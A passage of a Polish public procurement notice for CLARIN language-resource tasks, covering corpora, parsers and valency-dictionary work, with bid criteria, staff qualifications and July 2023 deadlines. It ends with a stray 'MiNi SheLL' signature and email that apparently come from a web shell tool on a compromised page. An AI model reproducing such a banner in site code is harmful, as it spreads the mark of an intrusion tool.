aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 20</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA V - KWALIFIKACJA WYKONAWCÓW</h2> <h3 class="mb-0">5.1.) Zamawiający przewiduje fakultatywne podstawy wykluczenia: <span class="normal">Nie</span></h3> <h3 class="mb-0">5.3.) Warunki udziału w postępowaniu: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.4.) Nazwa i opis warunków udziału w postępowaniu.</h3> 2.4.1	Wykonawca wykaże, że dysponuje niezbędną do wykonania dostawy, stanowiącej przedmiot zamówienia, wykwalifikowaną kadrą tj. co najmniej n/w osobami dedykowanymi do wykonywania prac stanowiących przedmiot niniejszego zamówienia na rzecz Zamawiającego:<br/><br/>1)	dla zadania nr 1 – co najmniej 1 osobą – informatykiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada stopień naukowy min. doktora uzyskany na podstawie pracy dotyczącej badań nad przetwarzaniem języka naturalnego;<br/>–	posiada doświadczenie w analizie semantycznej języka naturalnego - poświadczone uzyskanym wykształceniem, publikacjami naukowymi lub zadaniami realizowanymi w projektach naukowych;<br/>–	posiada znajomość logiki formalnej - poświadczona uzyskanym wykształceniem, publikacjami naukowymi lub zadaniami realizowanymi w projektach naukowych;<br/>–	posiada znajomość programowania w paradygmacie funkcyjnym - poświadczona uzyskanym wykształceniem, publikacjami naukowymi lub zadaniami realizowanymi w projektach naukowych;<br/>–	posiada znajomość systemów decyzyjnych - poświadczona uzyskanym wykształceniem, publikacjami naukowymi lub zadaniami realizowanymi w projektach naukowych.<br/><br/>2)	dla zadania nr 2 – co najmniej 1 osobą – programistą, który łącznie spełnia poniższe wymagania:<br/>–	posiada ukończone studia I i II stopnia w dziedzinie nauk ścisłych (np. Informatyce, matematyce lub innej pokrewnej);<br/>–	posiada co najmniej 3-letnie doświadczenie w tworzeniu i rozwijaniu narzędzi informatycznych (software engineering);<br/>–	posiada co najmniej roczne doświadczenie w pracy na stanowisku badawczym;<br/>–	posiada doświadczenie w stosowaniu technik maszynowego uczenia ze szczególnym uwzględnieniem znajomości metod deep learning, statystycznych i analizy danych;<br/>–	posiada znajomość języków programowania Python i C++.<br/><br/>3)	dla zadania nr 3 – co najmniej 1 osobą – filologiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada min. tytuł zawodowy mgr filologii ze specjalnością językoznawczą lub mgr lingwistyki stosowanej.<br/><br/>4)	dla zadania nr 4 – co najmniej 1 osobą – filologiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada doskonałą znajomość języków: litewskiego i polskiego; <br/>–	posiada dobrą znajomość innych języków bałtyckich i/lub słowiańskich (min. dwóch);<br/>–	posiada min. trzyletnie udokumentowane doświadczenie w pracy nad budową wielojęzycznych anotowanych korpusów;<br/>–	posiada min. trzyletnie udokumentowane doświadczenie w pracy z narzędziami do budowy i edycji anotowanych korpusów wielojęzycznych;<br/>–	posiada min. pięcioletnie udokumentowane doświadczenie w cyfryzacji, gromadzeniu i przetwarzaniu wielojęzycznych zasobów.<br/><br/>5)	dla zadania nr 5 – co najmniej 1 osobą – filologiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada doskonałą znajomość języków: rosyjskiego i polskiego; <br/>–	posiada dobrą znajomość innych języków słowiańskich (min. dwóch);<br/>–	posiada min. trzyletnie udokumentowane doświadczenie w pracy nad budową wielojęzycznych anotowanych korpusów;<br/>–	posiada min. trzyletnie udokumentowane doświadczenie w pracy z narzędziami do budowy i edycji anotowanych korpusów wielojęzycznych;<br/>–	posiada min. pięcioletnie udokumentowane doświadczenie w cyfryzacji, gromadzeniu i przetwarzaniu wielojęzycznych zasobów.<br/><br/>6)	dla zadania nr 6 – co najmniej 1 osobą – filologiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada co najmniej stopień naukowy doktora nauk humanistycznych;<br/>–	posiada biegłą znajomość języka bułgarskiego (poświadczoną dwoma artykułami w języku bułgarskim bez współautorstwa w czasopismach naukowych/tomach zbiorowych lub certyfikatem/dyplomem powiązanym z językiem bułgarskim, np. wygrana w konkursie wiedzy o języku bułgarskim);<br/>–	posiada biegłą znajomość innego niż bułgarski języka słowiańskiego, (spośród takich języków jak: kaszubski, dolnołużycki, górnołużycki, czeski, słowacki, macedoński, słoweński, serbsko-chorwacki, polski, białoruski, ukraiński, rosyjski, rusiński); znajomość poświadczona dwoma artykułami w tym języku bez współautorstwa w czasopismach naukowych/tomach zbiorowych lub certyfikatem/dyplomem powiązanym z tym językiem, np. wygrana w konkursie wiedzy o tym języku);<br/>–	posiada doświadczenie w pracy tłumaczeniowej (poświadczone jednym opublikowanym tłumaczeniem).<br/><br/>7)	dla zadania nr 7 – co najmniej 1 osobą – filologiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada doskonałą znajomość języków: słoweńskiego i polskiego;<br/>–	posiada dobrą znajomość innych języków słowiańskich (min. dwóch);<br/>–	posiada min. trzyletnie udokumentowane doświadczenie w pracy nad budową wielojęzycznych anotowanych korpusów;<br/>–	posiada min. trzyletnie udokumentowane doświadczenie w pracy z narzędziami do budowy i edycji anotowanych korpusów wielojęzycznych;<br/>–	posiada min. pięcioletnie udokumentowane doświadczenie w cyfryzacji, gromadzeniu i przetwarzaniu wielojęzycznych zasobów.<br/><br/>8)	dla zadania nr 8 – co najmniej 1 osobą – filologiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada wykształcenie wyższe humanistyczne,<br/>–	posiada biegłą znajomość języka ukraińskiego (poświadczoną dwoma artykułami w języku ukraińskim bez współautorstwa w czasopismach naukowych/tomach zbiorowych lub certyfikatem/dyplomem powiązanym z językiem ukraińskim, np. wygrana w konkursie wiedzy o języku ukraińskim);<br/>–	jest autorem przynajmniej jednej publikacji naukowej dotyczącej korpusów tekstowych;<br/>–	posiada biegłą znajomość innego niż ukraiński języka słowiańskiego, (spośród takich języków jak: łotewski, kaszubski, dolnołużycki, górnołużycki, czeski, słowacki, bułgarski, macedoński, słoweński, serbsko-chorwacki, polski, białoruski, rosyjski, rusiński; znajomość poświadczona dwoma artykułami w tym języku bez współautorstwa w czasopismach naukowych/tomach zbiorowych lub certyfikatem/dyplomem powiązanym z tym językiem, np. wygrana w konkursie wiedzy o tym języku).<br/><br/>9)	dla zadania nr 9 – co najmniej 1 osobą – filologiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada umiejętność i doświadczenie w zakresie tworzenia metaopisów do tekstów epoki romantyzmu;<br/>–	posiada doświadczenie w realizacji lub koordynacji projektów z zakresu humanistyki cyfrowej;<br/>–	posiada wyższe wykształcenie polonistyczne;<br/>–	posiada znajomość zasad opracowywania danych w korpusach tekstowych i anotacji tekstu.<br/><br/>10)	dla zadania nr 10 – co najmniej 1 osobą – filologiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada umiejętność i doświadczenie w zakresie tworzenia metaopisów do tekstów epoki romantyzmu;<br/>–	posiada doświadczenie w realizacji lub koordynacji projektów z zakresu humanistyki cyfrowej;<br/>–	posiada wyższe wykształcenie polonistyczne;<br/>–	posiada znajomość zasad opracowywania danych w korpusach tekstowych i anotacji tekstu.<br/><br/>11)	dla zadania nr 11 – co najmniej 1 osobą – filologiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada umiejętność i doświadczenie w zakresie tworzenia metaopisów do tekstów epoki romantyzmu;<br/>–	posiada doświadczenie w realizacji lub koordynacji projektów z zakresu humanistyki cyfrowej;<br/>–	posiada wyższe wykształcenie polonistyczne;<br/>–	posiada znajomość zasad opracowywania danych w korpusach tekstowych i anotacji tekstu.<br/><br/>12)	dla zadania nr 12 – co najmniej 1 osobą – filologiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada umiejętność i doświadczenie w zakresie tworzenia metaopisów do tekstów epoki romantyzmu;<br/>–	posiada doświadczenie w realizacji lub koordynacji projektów z zakresu humanistyki cyfrowej;<br/>–	posiada wyższe wykształcenie polonistyczne;<br/>–	posiada znajomość zasad opracowywania danych w korpusach tekstowych i anotacji tekstu.<br/><br/>13)	dla zadania nr 13 – co najmniej 1 osobą – filologiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada co najmniej stopień naukowy doktora nauk humanistycznych w zakresie językoznawstwa.<br/><br/>14)	dla zadania nr 14 – co najmniej 1 osobą – filologiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada wykształcenie lingwistyczne – mgr językoznawstwa, doświadczenie w pracy leksykograficznej.<br/><br/>15)	dla zadania nr 15 – co najmniej 1 osobą – filologiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada wykształcenie lingwistyczne – mgr językoznawstwa, doświadczenie w pracy leksykograficznej.<br/><br/>16)	dla zadania nr 16 – co najmniej 1 osobą – filologiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada wykształcenie lingwistyczne – mgr językoznawstwa, doświadczenie w pracy leksykograficznej.<br/><br/>17)	dla zadania nr 17 – co najmniej 1 osobą – filologiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada wykształcenie lingwistyczne – mgr językoznawstwa, doświadczenie w pracy leksykograficznej.<br/><br/>18)	dla zadania nr 18 – co najmniej 1 osobą – filologiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada wykształcenie lingwistyczne – mgr językoznawstwa, doświadczenie w pracy leksykograficznej.<br/><br/>19)	dla zadania nr 19 – co najmniej 1 osobą – filologiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada min. tytuł zawodowy magister filologii polskiej lub innego kierunku filologicznego ze specjalizacją językoznawczą lub edytorską.<br/><br/>20)	dla zadania nr 20 – co najmniej 1 osobą – informatykiem, który łącznie spełnia poniższe wymagania:<br/>–	posiada min. tytuł zawodowy magistra w dziedzinie informatyki;<br/>–	posiada doświadczenie w realizacji prac w dziedzinie językoznawstwa komputerowego lub inżynierii lingwistycznej udokumentowane realizacją prac w ramach projektów badawczych lub wdrożeń. <h3 class="mb-0">5.5.) Zamawiający wymaga złożenia oświadczenia, o którym mowa w art.125 ust. 1 ustawy: <span class="normal">Tak</span></h3> <h3 class="mb-0"> 5.6.) Wykaz podmiotowych środków dowodowych na potwierdzenie niepodlegania wykluczeniu: <span class="normal">1.	Do Oferty Wykonawca zobowiązany jest dołączyć:<br/>1.1	aktualne na dzień składania ofert oświadczenie o spełnianiu warunków udziału w postępowaniu oraz o braku podstaw do wykluczenia z postępowania – zgodnie z Załącznikiem nr 4 do SWZ;<br/>1.2	wykaz osób (zawarty w Formularzu ofertowym zgodnie z Załącznikiem nr 1 do SWZ) skierowanych przez Wykonawcę do realizacji zamówienia publicznego, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości, wraz z in-formacjami na temat ich kwalifikacji zawodowych, uprawnień, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia publicznego, a także zakresu wykonywanych przez nie czynności oraz informacją o podstawie do dysponowa-nia tymi osobami oraz oświadczenia na temat wykształcenia i kwalifikacji zawodowych Wykonawcy lub kadry kierowniczej Wykonawcy. <br/>2.	Informacje zawarte w oświadczeniu, o którym mowa w pkt 1 stanowią wstępne potwierdzenie, że Wykonawca nie podlega wykluczeniu oraz spełnia warunki udziału w postępowaniu.<br/>3.	Zamawiający nie wzywa do złożenia podmiotowych środków dowodowych, jeżeli:<br/>3.1	może je uzyskać za pomocą bezpłatnych i ogólnodostępnych baz danych, w szczególności rejestrów publicznych w rozumieniu ustawy z dnia 17 lutego 2005 r. o informatyzacji działalności podmiotów realizujących zadania publiczne, o ile Wykonawca wskazał w oświadczeniu, o którym mowa w art. 125 ust. 1 uPzp dane umożliwiające dostęp do tych środków;<br/>3.2	podmiotowym środkiem dowodowym jest oświadczenie, którego treść odpowiada zakresowi oświadczenia, o którym mowa w art. 125 ust. 1.<br/>4.	Wykonawca nie jest zobowiązany do złożenia podmiotowych środków dowodowych, które zamawiający posiada, jeżeli Wykonawca wskaże te środki oraz potwierdzi ich prawidłowość i aktualność.</span> </h3> <h3 class="mb-0"> 5.7.) Wykaz podmiotowych środków dowodowych na potwierdzenie spełniania warunków udziału w postępowaniu: <span class="normal">1.	Do Oferty Wykonawca zobowiązany jest dołączyć:<br/>1.1	aktualne na dzień składania ofert oświadczenie o spełnianiu warunków udziału w postępowaniu oraz o braku podstaw do wykluczenia z postępowania – zgodnie z Załącznikiem nr 4 do SWZ;<br/>1.2	wykaz osób (zawarty w Formularzu ofertowym zgodnie z Załącznikiem nr 1 do SWZ) skierowanych przez Wykonawcę do realizacji zamówienia publicznego, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości, wraz z in-formacjami na temat ich kwalifikacji zawodowych, uprawnień, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia publicznego, a także zakresu wykonywanych przez nie czynności oraz informacją o podstawie do dysponowa-nia tymi osobami oraz oświadczenia na temat wykształcenia i kwalifikacji zawodowych Wykonawcy lub kadry kierowniczej Wykonawcy. <br/>2.	Informacje zawarte w oświadczeniu, o którym mowa w pkt 1 stanowią wstępne potwierdzenie, że Wykonawca nie podlega wykluczeniu oraz spełnia warunki udziału w postępowaniu.<br/>3.	Zamawiający nie wzywa do złożenia podmiotowych środków dowodowych, jeżeli:<br/>3.1	może je uzyskać za pomocą bezpłatnych i ogólnodostępnych baz danych, w szczególności rejestrów publicznych w rozumieniu ustawy z dnia 17 lutego 2005 r. o informatyzacji działalności podmiotów realizujących zadania publiczne, o ile Wykonawca wskazał w oświadczeniu, o którym mowa w art. 125 ust. 1 uPzp dane umożliwiające dostęp do tych środków;<br/>3.2	podmiotowym środkiem dowodowym jest oświadczenie, którego treść odpowiada zakresowi oświadczenia, o którym mowa w art. 125 ust. 1.<br/>4.	Wykonawca nie jest zobowiązany do złożenia podmiotowych środków dowodowych, które zamawiający posiada, jeżeli Wykonawca wskaże te środki oraz potwierdzi ich prawidłowość i aktualność.</span> </h3> <h3 class="mb-0">5.9.) Zamawiający przewiduje uzupełnienie przedmiotowych środków dowodowych: <span class="normal">Nie</span></h3> <h3 class="mb-0">5.11.) Wykaz innych wymaganych oświadczeń lub dokumentów: </h3> Oferta musi składać się z:<br/>a.	formularza ofertowego Wykonawcy – Załącznik Nr 1 do SWZ wraz z wykazem osób;<br/>b.	oświadczenia, o którym mowa w rozdz. VII pkt 1 SWZ<br/>c.	zobowiązania innego podmiotu, o którym mowa w rozdz. VIII pkt 3 SWZ (jeżeli dotyczy)<br/>d.	wykazania zastrzeżenia informacji stanowiących tajemnicę przedsiębiorstwa zgodnie rozdz. XI pkt 6 (jeżeli do-tyczy);<br/>e.	dokumentu/-ów, z których wynika prawo do podpisania Oferty; odpowiednie pełnomocnictwa zgodnie z rozdz. XI pkt 10 SWZ (jeżeli dotyczy). <h2 class="bg-light p-3 mt-4">SEKCJA VI - WARUNKI ZAMÓWIENIA</h2> <h3 class="mb-0">6.1.) Zamawiający wymaga albo dopuszcza oferty wariantowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.3.) Zamawiający przewiduje aukcję elektroniczną: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.4.) Zamawiający wymaga wadium: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.5.) Zamawiający wymaga zabezpieczenia należytego wykonania umowy: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.6.) Wymagania dotyczące składania oferty przez wykonawców wspólnie ubiegających się o udzielenie zamówienia: </h3> 1.	Wykonawcy mogą wspólnie ubiegać się o udzielenie zamówienia. W takim przypadku Wykonawcy ustanawiają pełnomocnika do reprezentowania ich w postępowaniu albo do reprezentowania i zawarcia umowy w sprawie zamówienia publicznego. Peł-nomocnictwo winno być załączone do Oferty. <br/>2.	W przypadku Wykonawców wspólnie ubiegających się o udzielenie zamówienia, oświadczenia, o których mowa w Rozdziale VII pkt 1.1 SWZ, składa każdy z wykonawców. Oświadczenia te potwierdzają brak podstaw wykluczenia oraz spełnianie wa-runków udziału w zakresie, w jakim każdy z wykonawców wykazuje spełnianie warunków udziału w postępowaniu.<br/>3.	Wykonawcy wspólnie ubiegający się o udzielenie zamówienia dołączają do oferty oświadczenie, z którego wynika, które roboty budowlane/dostawy/usługi wykonają poszczególni wykonawcy.<br/>4.	Oświadczenia i dokumenty potwierdzające brak podstaw do wykluczenia z postępowania składa każdy z Wykonawców wspól-nie ubiegających się o zamówienie. <h3 class="mb-0">6.7.) Zamawiający przewiduje unieważnienie postępowania, jeśli środki publiczne, które zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia nie zostały przyznane: <span class="normal">Tak</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VII - PROJEKTOWANE POSTANOWIENIA UMOWY</h2> <h3 class="mb-0">7.1.) Zamawiający przewiduje udzielenia zaliczek: <span class="normal">Nie</span></h3> <h3 class="mb-0">7.3.) Zamawiający przewiduje zmiany umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.4.) Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia: </h3> Strony dopuszczają zmiany postanowień umowy - opisane w paragrafie 9 wzoru umowy. <h3 class="mb-0">7.5.) Zamawiający uwzględnił aspekty społeczne, środowiskowe, innowacyjne lub etykiety związane z realizacją zamówienia: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VIII – PROCEDURA</h2> <h3 class="mb-0">8.1.) Termin składania ofert: <span class="normal">2023-07-26 10:00</span></h3> <h3 class="mb-0">8.2.) Miejsce składania ofert: <span class="normal">Oferta może zostać przekazane wyłącznie za pomocą platformy e-Zamówienia.</span></h3> <h3 class="mb-0">8.3.) Termin otwarcia ofert: <span class="normal">2023-07-26 10:30</span></h3> <h3 class="mb-0">8.4.) Termin związania ofertą: <span class="normal">do 2023-08-24</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IX – POZOSTAŁE INFORMACJE</h2> 1.	Z postępowania o udzielenie zamówienia wyklucza się Wykonawców, w stosunku do których zachodzi którakolwiek z okoliczności wskazanych:<br/>1.1.	w art. 108 ust. 1 uPzp,<br/>1.2.	w art. 7 ust. 1 ustawy z dnia 13.04.2022r. o szczególnych rozwiązaniach w zakresie przeciwdziałania wspieraniu agresji na Ukrainę oraz służących ochronie bezpieczeństwa narodowego (Dz. U. poz. 835).

Creat By MiNi SheLL
Email: jattceo@gmail.com